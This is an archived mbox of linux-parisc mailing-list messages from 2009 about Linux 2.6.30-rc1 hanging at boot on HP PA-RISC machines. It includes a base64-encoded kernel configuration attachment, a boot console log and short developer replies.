RFJWX1RFU1QgaXMgbm90IHNldAoKIwojIFNQSSBSVEMgZHJpdmVycwojCgojCiMgUGxhdGZvcm0g
UlRDIGRyaXZlcnMKIwojIENPTkZJR19SVENfRFJWX0RTMTI4NiBpcyBub3Qgc2V0CiMgQ09ORklH
X1JUQ19EUlZfRFMxNTExIGlzIG5vdCBzZXQKIyBDT05GSUdfUlRDX0RSVl9EUzE1NTMgaXMgbm90
IHNldAojIENPTkZJR19SVENfRFJWX0RTMTc0MiBpcyBub3Qgc2V0CiMgQ09ORklHX1JUQ19EUlZf
U1RLMTdUQTggaXMgbm90IHNldAojIENPTkZJR19SVENfRFJWX000OFQ4NiBpcyBub3Qgc2V0CiMg
Q09ORklHX1JUQ19EUlZfTTQ4VDM1IGlzIG5vdCBzZXQKIyBDT05GSUdfUlRDX0RSVl9NNDhUNTkg
aXMgbm90IHNldAojIENPTkZJR19SVENfRFJWX0JRNDgwMiBpcyBub3Qgc2V0CiMgQ09ORklHX1JU
Q19EUlZfVjMwMjAgaXMgbm90IHNldAoKIwojIG9uLUNQVSBSVEMgZHJpdmVycwojCkNPTkZJR19S
VENfRFJWX0dFTkVSSUM9eQojIENPTkZJR19ETUFERVZJQ0VTIGlzIG5vdCBzZXQKIyBDT05GSUdf
QVVYRElTUExBWSBpcyBub3Qgc2V0CiMgQ09ORklHX1VJTyBpcyBub3Qgc2V0CiMgQ09ORklHX1NU
QUdJTkcgaXMgbm90IHNldAoKIwojIEZpbGUgc3lzdGVtcwojCiMgQ09ORklHX0VYVDJfRlMgaXMg
bm90IHNldApDT05GSUdfRVhUM19GUz15CiMgQ09ORklHX0VYVDNfREVGQVVMVFNfVE9fT1JERVJF
RCBpcyBub3Qgc2V0CiMgQ09ORklHX0VYVDNfRlNfWEFUVFIgaXMgbm90IHNldApDT05GSUdfRVhU
NF9GUz15CiMgQ09ORklHX0VYVDRERVZfQ09NUEFUIGlzIG5vdCBzZXQKQ09ORklHX0VYVDRfRlNf
WEFUVFI9eQojIENPTkZJR19FWFQ0X0ZTX1BPU0lYX0FDTCBpcyBub3Qgc2V0CiMgQ09ORklHX0VY
VDRfRlNfU0VDVVJJVFkgaXMgbm90IHNldApDT05GSUdfSkJEPXkKIyBDT05GSUdfSkJEX0RFQlVH
IGlzIG5vdCBzZXQKQ09ORklHX0pCRDI9eQojIENPTkZJR19KQkQyX0RFQlVHIGlzIG5vdCBzZXQK
Q09ORklHX0ZTX01CQ0FDSEU9eQpDT05GSUdfUkVJU0VSRlNfRlM9eQojIENPTkZJR19SRUlTRVJG
U19DSEVDSyBpcyBub3Qgc2V0CiMgQ09ORklHX1JFSVNFUkZTX1BST0NfSU5GTyBpcyBub3Qgc2V0
CiMgQ09ORklHX1JFSVNFUkZTX0ZTX1hBVFRSIGlzIG5vdCBzZXQKIyBDT05GSUdfSkZTX0ZTIGlz
IG5vdCBzZXQKIyBDT05GSUdfRlNfUE9TSVhfQUNMIGlzIG5vdCBzZXQKQ09ORklHX0ZJTEVfTE9D
S0lORz15CiMgQ09ORklHX1hGU19GUyBpcyBub3Qgc2V0CiMgQ09ORklHX0dGUzJfRlMgaXMgbm90
IHNldAojIENPTkZJR19PQ0ZTMl9GUyBpcyBub3Qgc2V0CkNPTkZJR19CVFJGU19GUz15CiMgQ09O
RklHX0JUUkZTX0ZTX1BPU0lYX0FDTCBpcyBub3Qgc2V0CkNPTkZJR19ETk9USUZZPXkKQ09ORklH
X0lOT1RJRlk9eQpDT05GSUdfSU5PVElGWV9VU0VSPXkKIyBDT05GSUdfUVVPVEEgaXMgbm90IHNl
dAojIENPTkZJR19BVVRPRlNfRlMgaXMgbm90IHNldAojIENPTkZJR19BVVRPRlM0X0ZTIGlzIG5v
dCBzZXQKIyBDT05GSUdfRlVTRV9GUyBpcyBub3Qgc2V0CgojCiMgQ2FjaGVzCiMKIyBDT05GSUdf
RlNDQUNIRSBpcyBub3Qgc2V0CgojCiMgQ0QtUk9NL0RWRCBGaWxlc3lzdGVtcwojCiMgQ09ORklH
X0lTTzk2NjBfRlMgaXMgbm90IHNldAojIENPTkZJR19VREZfRlMgaXMgbm90IHNldAoKIwojIERP
Uy9GQVQvTlQgRmlsZXN5c3RlbXMKIwojIENPTkZJR19NU0RPU19GUyBpcyBub3Qgc2V0CiMgQ09O
RklHX1ZGQVRfRlMgaXMgbm90IHNldAojIENPTkZJR19OVEZTX0ZTIGlzIG5vdCBzZXQKCiMKIyBQ
c2V1ZG8gZmlsZXN5c3RlbXMKIwpDT05GSUdfUFJPQ19GUz15CkNPTkZJR19QUk9DX0tDT1JFPXkK
Q09ORklHX1BST0NfU1lTQ1RMPXkKQ09ORklHX1BST0NfUEFHRV9NT05JVE9SPXkKQ09ORklHX1NZ
U0ZTPXkKQ09ORklHX1RNUEZTPXkKIyBDT05GSUdfVE1QRlNfUE9TSVhfQUNMIGlzIG5vdCBzZXQK
IyBDT05GSUdfSFVHRVRMQl9QQUdFIGlzIG5vdCBzZXQKIyBDT05GSUdfQ09ORklHRlNfRlMgaXMg
bm90IHNldAojIENPTkZJR19NSVNDX0ZJTEVTWVNURU1TIGlzIG5vdCBzZXQKIyBDT05GSUdfTkVU
V09SS19GSUxFU1lTVEVNUyBpcyBub3Qgc2V0CgojCiMgUGFydGl0aW9uIFR5cGVzCiMKIyBDT05G
SUdfUEFSVElUSU9OX0FEVkFOQ0VEIGlzIG5vdCBzZXQKQ09ORklHX01TRE9TX1BBUlRJVElPTj15
CiMgQ09ORklHX05MUyBpcyBub3Qgc2V0CiMgQ09ORklHX0RMTSBpcyBub3Qgc2V0CgojCiMgS2Vy
bmVsIGhhY2tpbmcKIwpDT05GSUdfUFJJTlRLX1RJTUU9eQojIENPTkZJR19FTkFCTEVfV0FSTl9E
RVBSRUNBVEVEIGlzIG5vdCBzZXQKIyBDT05GSUdfRU5BQkxFX01VU1RfQ0hFQ0sgaXMgbm90IHNl
dApDT05GSUdfRlJBTUVfV0FSTj0xMDI0CkNPTkZJR19NQUdJQ19TWVNSUT15CiMgQ09ORklHX1VO
VVNFRF9TWU1CT0xTIGlzIG5vdCBzZXQKQ09ORklHX0RFQlVHX0ZTPXkKQ09ORklHX0hFQURFUlNf
Q0hFQ0s9eQpDT05GSUdfREVCVUdfS0VSTkVMPXkKQ09ORklHX0RFQlVHX1NISVJRPXkKQ09ORklH
X0RFVEVDVF9TT0ZUTE9DS1VQPXkKIyBDT05GSUdfQk9PVFBBUkFNX1NPRlRMT0NLVVBfUEFOSUMg
aXMgbm90IHNldApDT05GSUdfQk9PVFBBUkFNX1NPRlRMT0NLVVBfUEFOSUNfVkFMVUU9MApDT05G
SUdfREVURUNUX0hVTkdfVEFTSz15CiMgQ09ORklHX0JPT1RQQVJBTV9IVU5HX1RBU0tfUEFOSUMg
aXMgbm90IHNldApDT05GSUdfQk9PVFBBUkFNX0hVTkdfVEFTS19QQU5JQ19WQUxVRT0wCiMgQ09O
RklHX1NDSEVEX0RFQlVHIGlzIG5vdCBzZXQKIyBDT05GSUdfU0NIRURTVEFUUyBpcyBub3Qgc2V0
CiMgQ09ORklHX1RJTUVSX1NUQVRTIGlzIG5vdCBzZXQKIyBDT05GSUdfREVCVUdfT0JKRUNUUyBp
cyBub3Qgc2V0CiMgQ09ORklHX1NMVUJfREVCVUdfT04gaXMgbm90IHNldAojIENPTkZJR19TTFVC
X1NUQVRTIGlzIG5vdCBzZXQKIyBDT05GSUdfREVCVUdfUlRfTVVURVhFUyBpcyBub3Qgc2V0CiMg
Q09ORklHX1JUX01VVEVYX1RFU1RFUiBpcyBub3Qgc2V0CkNPTkZJR19ERUJVR19TUElOTE9DSz15
CkNPTkZJR19ERUJVR19NVVRFWEVTPXkKQ09ORklHX0RFQlVHX1NQSU5MT0NLX1NMRUVQPXkKIyBD
T05GSUdfREVCVUdfTE9DS0lOR19BUElfU0VMRlRFU1RTIGlzIG5vdCBzZXQKIyBDT05GSUdfREVC
VUdfS09CSkVDVCBpcyBub3Qgc2V0CkNPTkZJR19ERUJVR19CVUdWRVJCT1NFPXkKQ09ORklHX0RF
QlVHX0lORk89eQpDT05GSUdfREVCVUdfVk09eQojIENPTkZJR19ERUJVR19XUklURUNPVU5UIGlz
IG5vdCBzZXQKQ09ORklHX0RFQlVHX01FTU9SWV9JTklUPXkKIyBDT05GSUdfREVCVUdfTElTVCBp
cyBub3Qgc2V0CiMgQ09ORklHX0RFQlVHX1NHIGlzIG5vdCBzZXQKIyBDT05GSUdfREVCVUdfTk9U
SUZJRVJTIGlzIG5vdCBzZXQKIyBDT05GSUdfQk9PVF9QUklOVEtfREVMQVkgaXMgbm90IHNldAoj
IENPTkZJR19SQ1VfVE9SVFVSRV9URVNUIGlzIG5vdCBzZXQKIyBDT05GSUdfUkNVX0NQVV9TVEFM
TF9ERVRFQ1RPUiBpcyBub3Qgc2V0CiMgQ09ORklHX0JBQ0tUUkFDRV9TRUxGX1RFU1QgaXMgbm90
IHNldAojIENPTkZJR19ERUJVR19CTE9DS19FWFRfREVWVCBpcyBub3Qgc2V0CiMgQ09ORklHX0ZB
VUxUX0lOSkVDVElPTiBpcyBub3Qgc2V0CiMgQ09ORklHX0xBVEVOQ1lUT1AgaXMgbm90IHNldAoj
IENPTkZJR19TWVNDVExfU1lTQ0FMTF9DSEVDSyBpcyBub3Qgc2V0CiMgQ09ORklHX1BBR0VfUE9J
U09OSU5HIGlzIG5vdCBzZXQKIyBDT05GSUdfQlVJTERfRE9DU1JDIGlzIG5vdCBzZXQKQ09ORklH
X0RZTkFNSUNfREVCVUc9eQojIENPTkZJR19TQU1QTEVTIGlzIG5vdCBzZXQKIyBDT05GSUdfREVC
VUdfUk9EQVRBIGlzIG5vdCBzZXQKCiMKIyBTZWN1cml0eSBvcHRpb25zCiMKIyBDT05GSUdfS0VZ
UyBpcyBub3Qgc2V0CiMgQ09ORklHX1NFQ1VSSVRZIGlzIG5vdCBzZXQKIyBDT05GSUdfU0VDVVJJ
VFlGUyBpcyBub3Qgc2V0CiMgQ09ORklHX1NFQ1VSSVRZX0ZJTEVfQ0FQQUJJTElUSUVTIGlzIG5v
dCBzZXQKQ09ORklHX0NSWVBUTz15CgojCiMgQ3J5cHRvIGNvcmUgb3IgaGVscGVyCiMKIyBDT05G
SUdfQ1JZUFRPX0ZJUFMgaXMgbm90IHNldApDT05GSUdfQ1JZUFRPX0FMR0FQST15CkNPTkZJR19D
UllQVE9fQUxHQVBJMj15CkNPTkZJR19DUllQVE9fSEFTSD15CkNPTkZJR19DUllQVE9fSEFTSDI9
eQojIENPTkZJR19DUllQVE9fTUFOQUdFUiBpcyBub3Qgc2V0CiMgQ09ORklHX0NSWVBUT19NQU5B
R0VSMiBpcyBub3Qgc2V0CiMgQ09ORklHX0NSWVBUT19HRjEyOE1VTCBpcyBub3Qgc2V0CiMgQ09O
RklHX0NSWVBUT19OVUxMIGlzIG5vdCBzZXQKIyBDT05GSUdfQ1JZUFRPX0NSWVBURCBpcyBub3Qg
c2V0CiMgQ09ORklHX0NSWVBUT19BVVRIRU5DIGlzIG5vdCBzZXQKIyBDT05GSUdfQ1JZUFRPX1RF
U1QgaXMgbm90IHNldAoKIwojIEF1dGhlbnRpY2F0ZWQgRW5jcnlwdGlvbiB3aXRoIEFzc29jaWF0
ZWQgRGF0YQojCiMgQ09ORklHX0NSWVBUT19DQ00gaXMgbm90IHNldAojIENPTkZJR19DUllQVE9f
R0NNIGlzIG5vdCBzZXQKIyBDT05GSUdfQ1JZUFRPX1NFUUlWIGlzIG5vdCBzZXQKCiMKIyBCbG9j
ayBtb2RlcwojCiMgQ09ORklHX0NSWVBUT19DQkMgaXMgbm90IHNldAojIENPTkZJR19DUllQVE9f
Q1RSIGlzIG5vdCBzZXQKIyBDT05GSUdfQ1JZUFRPX0NUUyBpcyBub3Qgc2V0CiMgQ09ORklHX0NS
WVBUT19FQ0IgaXMgbm90IHNldAojIENPTkZJR19DUllQVE9fTFJXIGlzIG5vdCBzZXQKIyBDT05G
SUdfQ1JZUFRPX1BDQkMgaXMgbm90IHNldAojIENPTkZJR19DUllQVE9fWFRTIGlzIG5vdCBzZXQK
CiMKIyBIYXNoIG1vZGVzCiMKIyBDT05GSUdfQ1JZUFRPX0hNQUMgaXMgbm90IHNldAojIENPTkZJ
R19DUllQVE9fWENCQyBpcyBub3Qgc2V0CgojCiMgRGlnZXN0CiMKQ09ORklHX0NSWVBUT19DUkMz
MkM9eQojIENPTkZJR19DUllQVE9fTUQ0IGlzIG5vdCBzZXQKIyBDT05GSUdfQ1JZUFRPX01ENSBp
cyBub3Qgc2V0CiMgQ09ORklHX0NSWVBUT19NSUNIQUVMX01JQyBpcyBub3Qgc2V0CiMgQ09ORklH
X0NSWVBUT19STUQxMjggaXMgbm90IHNldAojIENPTkZJR19DUllQVE9fUk1EMTYwIGlzIG5vdCBz
ZXQKIyBDT05GSUdfQ1JZUFRPX1JNRDI1NiBpcyBub3Qgc2V0CiMgQ09ORklHX0NSWVBUT19STUQz
MjAgaXMgbm90IHNldAojIENPTkZJR19DUllQVE9fU0hBMSBpcyBub3Qgc2V0CiMgQ09ORklHX0NS
WVBUT19TSEEyNTYgaXMgbm90IHNldAojIENPTkZJR19DUllQVE9fU0hBNTEyIGlzIG5vdCBzZXQK
IyBDT05GSUdfQ1JZUFRPX1RHUjE5MiBpcyBub3Qgc2V0CiMgQ09ORklHX0NSWVBUT19XUDUxMiBp
cyBub3Qgc2V0CgojCiMgQ2lwaGVycwojCiMgQ09ORklHX0NSWVBUT19BRVMgaXMgbm90IHNldAoj
IENPTkZJR19DUllQVE9fQU5VQklTIGlzIG5vdCBzZXQKIyBDT05GSUdfQ1JZUFRPX0FSQzQgaXMg
bm90IHNldAojIENPTkZJR19DUllQVE9fQkxPV0ZJU0ggaXMgbm90IHNldAojIENPTkZJR19DUllQ
VE9fQ0FNRUxMSUEgaXMgbm90IHNldAojIENPTkZJR19DUllQVE9fQ0FTVDUgaXMgbm90IHNldAoj
IENPTkZJR19DUllQVE9fQ0FTVDYgaXMgbm90IHNldAojIENPTkZJR19DUllQVE9fREVTIGlzIG5v
dCBzZXQKIyBDT05GSUdfQ1JZUFRPX0ZDUllQVCBpcyBub3Qgc2V0CiMgQ09ORklHX0NSWVBUT19L
SEFaQUQgaXMgbm90IHNldAojIENPTkZJR19DUllQVE9fU0FMU0EyMCBpcyBub3Qgc2V0CiMgQ09O
RklHX0NSWVBUT19TRUVEIGlzIG5vdCBzZXQKIyBDT05GSUdfQ1JZUFRPX1NFUlBFTlQgaXMgbm90
IHNldAojIENPTkZJR19DUllQVE9fVEVBIGlzIG5vdCBzZXQKIyBDT05GSUdfQ1JZUFRPX1RXT0ZJ
U0ggaXMgbm90IHNldAoKIwojIENvbXByZXNzaW9uCiMKIyBDT05GSUdfQ1JZUFRPX0RFRkxBVEUg
aXMgbm90IHNldAojIENPTkZJR19DUllQVE9fWkxJQiBpcyBub3Qgc2V0CiMgQ09ORklHX0NSWVBU
T19MWk8gaXMgbm90IHNldAoKIwojIFJhbmRvbSBOdW1iZXIgR2VuZXJhdGlvbgojCiMgQ09ORklH
X0NSWVBUT19BTlNJX0NQUk5HIGlzIG5vdCBzZXQKIyBDT05GSUdfQ1JZUFRPX0hXIGlzIG5vdCBz
ZXQKIyBDT05GSUdfQklOQVJZX1BSSU5URiBpcyBub3Qgc2V0CgojCiMgTGlicmFyeSByb3V0aW5l
cwojCkNPTkZJR19CSVRSRVZFUlNFPXkKQ09ORklHX0dFTkVSSUNfRklORF9MQVNUX0JJVD15CiMg
Q09ORklHX0NSQ19DQ0lUVCBpcyBub3Qgc2V0CkNPTkZJR19DUkMxNj15CiMgQ09ORklHX0NSQ19U
MTBESUYgaXMgbm90IHNldAojIENPTkZJR19DUkNfSVRVX1QgaXMgbm90IHNldApDT05GSUdfQ1JD
MzI9eQojIENPTkZJR19DUkM3IGlzIG5vdCBzZXQKQ09ORklHX0xJQkNSQzMyQz15CkNPTkZJR19a
TElCX0lORkxBVEU9eQpDT05GSUdfWkxJQl9ERUZMQVRFPXkKQ09ORklHX0hBU19JT01FTT15CkNP
TkZJR19IQVNfSU9QT1JUPXkKQ09ORklHX0hBU19ETUE9eQpDT05GSUdfTkxBVFRSPXkK
--0015174bde46f6eaf404671b47e4--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.kernel-testers
Subject: Re: 2.6.30-rc1: parisc: system hangs on boot at __schedule()
Date: Thu, 9 Apr 2009 10:46:12 -0400
Lines: 28
Approved: news@gmane.org
Message-ID: <20090409144611.GH7372@bombadil.infradead.org>
References: <a4423d670904080603w50face2fl87cd16bd7967cb5d@mail.gmail.com> <20090408220921.GF7372@bombadil.infradead.org> <a4423d670904090146w2937bf15le2afb5dfad718f0e@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1239288491 20757 80.91.229.12 (9 Apr 2009 14:48:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 9 Apr 2009 14:48:11 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, linux-parisc@vger.kernel.org,
	LKML <linux-kernel@vger.kernel.org>,
	Kernel Testers List <kernel-testers@vger.kernel.org>
To: Alexander Beregalov <a.beregalov@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 09 16:49:29 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LrvZI-0002uD-7R
	for glpp-linux-parisc@gmane.org; Thu, 09 Apr 2009 16:49:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S934140AbZDIOqR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 9 Apr 2009 10:46:17 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S934025AbZDIOqR
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 9 Apr 2009 10:46:17 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:51940 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S933928AbZDIOqP (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 9 Apr 2009 10:46:15 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1LrvW8-0004UK-1Y; Thu, 09 Apr 2009 14:46:12 +0000
Content-Disposition: inline
In-Reply-To: <a4423d670904090146w2937bf15le2afb5dfad718f0e@mail.gmail.com>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1499 gmane.linux.kernel:820259 gmane.linux.kernel.kernel-testers:4274
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1499>

On Thu, Apr 09, 2009 at 12:46:15PM +0400, Alexander Beregalov wrote:
> 2009/4/9 Kyle McMartin <kyle@mcmartin.ca>:
> > On Wed, Apr 08, 2009 at 05:03:04PM +0400, Alexander Beregalov wrote:
> >> Hi
> >>
> >> Machine is HP j6000.
> >> CPU(s): 2 x PA8700 (PCX-W2) at 750.000000 MHz
> >>
> >> gcc version 4.3.3 (Gentoo 4.3.3-r2 p1.1, pie-10.1.5)
> >>
> >>
> >> Machine hangs before starting rc scripts, but SysRq and C-A-Del work.
> >>
> >> All tasks are at __schedule+0x268/0x7bc:
> >>
> >
> > .config?
> 
> Sorry, attached.

Thanks, I swapped disks into my j6700 and will try to reproduce.

regards, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jukka Taimisto <jukka.taimisto@mail.suomi.net>
Newsgroups: gmane.linux.ports.parisc
Subject: 2.6.30-rc1 hangs on boot
Date: Sat, 11 Apr 2009 14:42:19 +0300
Lines: 46
Approved: news@gmane.org
Message-ID: <20090411114219.GA14981@mayall.koti>
Reply-To: jukka.taimisto@iki.fi
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1239450153 25936 80.91.229.12 (11 Apr 2009 11:42:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 11 Apr 2009 11:42:33 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Apr 11 13:43:52 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Lsbcl-0003rd-LP
	for glpp-linux-parisc@gmane.org; Sat, 11 Apr 2009 13:43:52 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752720AbZDKLmY (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 11 Apr 2009 07:42:24 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752291AbZDKLmY
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 11 Apr 2009 07:42:24 -0400
Original-Received: from smtp4.dnainternet.fi ([87.94.96.72]:37998 "EHLO
	smtp4.dnainternet.fi" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752187AbZDKLmX (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 11 Apr 2009 07:42:23 -0400
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by smtp4.dnainternet.fi (Postfix) with ESMTP id 40114CC007D
	for <linux-parisc@vger.kernel.org>; Sat, 11 Apr 2009 14:42:21 +0300 (EEST)
X-Virus-Scanned: DNA Postiturva at dnainternet.net
X-Spam-Flag: NO
X-Spam-Score: 0
X-Spam-Level: 
X-Spam-Status: No, score=0 tagged_above=-100 required=7 tests=[RDNS_DYNAMIC=0]
Original-Received: from mayall.koti (85-23-18-22-Korvensuora-TR1.suomi.net [85.23.18.22])
	by smtp4.dnainternet.fi (Postfix) with ESMTP
	for <linux-parisc@vger.kernel.org>; Sat, 11 Apr 2009 14:42:20 +0300 (EEST)
Original-Received: from jtt by mayall.koti with local (Exim 4.50)
	id 1LsbbH-0000wf-Tp
	for linux-parisc@vger.kernel.org; Sat, 11 Apr 2009 14:42:19 +0300
Content-Disposition: inline
User-Agent: Mutt/1.5.9i
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1500
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1500>

Hi,

It seems that almost every other boot with 2.6.30-rc1 my HP c3700 with
single PA8700 (PCX-W2) 750MHz cpu hangs with following printed on serial
console: 

[    0.000000] Initializing cgroup subsys cpu
[    0.000000] Linux version 2.6.30-rc1-jtt (root@billie) (gcc version 4.3.2 (GCC) ) #1 Fr i Apr 10 18:53:40 EEST 2009
[    0.000000] unwind_init: start = 0x4044b144, end = 0x40475174, entries = 10755
[    0.000000] WARNING: Out of order unwind entry!  000000004044cc94 and 000000004044cca4
[    0.000000] WARNING: Out of order unwind entry!  000000004044cca4 and 000000004044ccb4
[    0.000000] FP[0] enabled: Rev 1 Model 19
[    0.000000] The 64-bit Kernel has started...
[    0.000000] console [ttyB0] enabled
[    0.000000] Initialized PDC Console for debugging.
[    0.000000] Determining PDC firmware type: System Map.
[    0.000000] model 00005dc0 00000481 00000000 00000002 77e15312 100000f0 00000008 000000b2 000000b2
[    0.000000] vers  00000203
[    0.000000] CPUID vers 19 rev 7 (0x00000267)
[    0.000000] capabilities 0x7
[    0.000000] model 9000/785/C3700
[    0.000000] Memory Ranges:
[    0.000000]  0) Start 0x0000000000000000 End 0x00000000efffffff Size   3840 MB
[    0.000000]  1) Start 0x00000010f0000000 End 0x00000010ffffffff Size    256 MB
[    0.000000] Total Memory: 4096 MB
[    0.000000] initrd: 7f99a000-7ffedc88
[    0.000000] initrd: reserving 3f99a000-3ffedc88 (mem_max 100000000)
[    0.000000] LCD display at fffffff0f05d0008,fffffff0f05d0000 registered
[    0.000000] Built 2 zonelists in Zone order, mobility grouping on.  Total pages: 1034240
[    0.000000] Kernel command line: root=/dev/sda5 HOME=/ console=ttyS0 TERM=vt102 palo_kernel=2/vmlinux
[    0.000000] NR_IRQS:128
[    0.000000] PID hash table entries: 4096 (order: 12, 32768 bytes)
[17179569.184000] timer_interrupt(CPU 0): delayed! cycles FFFFFFFFFFE494D4 rem 2A0894  next/now E004EEDA1/E00338275
[6166094260.418448] timer_interrupt(CPU 0): delayed! cycles 15EA6E45DE rem 24C09E next/now E003740A1/23EAA5867F

.config is available at
http://xsquared.no-ip.com:/warehouse/config-linux-2.6.30-rc1

-- 
-Jukka
:wq					jukka.taimisto@iki.fi
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 2.6.30-rc1 hangs on boot
Date: Sun, 12 Apr 2009 20:06:26 -0600
Lines: 2221
Approved: news@gmane.org
Message-ID: <20090413020626.GA13090@lackof.org>
References: <20090411114219.GA14981@mayall.koti>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="/9DWx/yDrRhgMJTb"
X-Trace: ger.gmane.org 1239588434 31437 80.91.229.12 (13 Apr 2009 02:07:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 13 Apr 2009 02:07:14 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: jukka.taimisto@iki.fi
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Apr 13 04:08:32 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LtBb3-00020A-Tt
	for glpp-linux-parisc@gmane.org; Mon, 13 Apr 2009 04:08:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754422AbZDMCGd (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 12 Apr 2009 22:06:33 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754424AbZDMCGc
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 12 Apr 2009 22:06:32 -0400
Original-Received: from complete.lackof.org ([198.49.126.79]:58443 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754511AbZDMCG3 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 12 Apr 2009 22:06:29 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id DBFB91E1213F;
	Sun, 12 Apr 2009 20:06:27 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at lackof.org
Original-Received: from complete.lackof.org ([127.0.0.1])
	by localhost (complete.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id PwQbpYki6xFy; Sun, 12 Apr 2009 20:06:26 -0600 (MDT)
Original-Received: by complete.lackof.org (Postfix, from userid 27253)
	id 9A1171E1213B; Sun, 12 Apr 2009 20:06:26 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20090411114219.GA14981@mayall.koti>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1501
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1501>


--/9DWx/yDrRhgMJTb
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

On Sat, Apr 11, 2009 at 02:42:19PM +0300, Jukka Taimisto wrote:
> Hi,
> 
> It seems that almost every other boot with 2.6.30-rc1 my HP c3700 with
> single PA8700 (PCX-W2) 750MHz cpu hangs with following printed on serial
> console: 

Another data point:
I tried 2.6.30-rc1-b5 (UP, 64-bit) and that booted on "model 9000/785/J6000"
both times that I tried. Config file is attached.

cheers,
grant

--/9DWx/yDrRhgMJTb
Content-Type: text/plain; charset=us-ascii
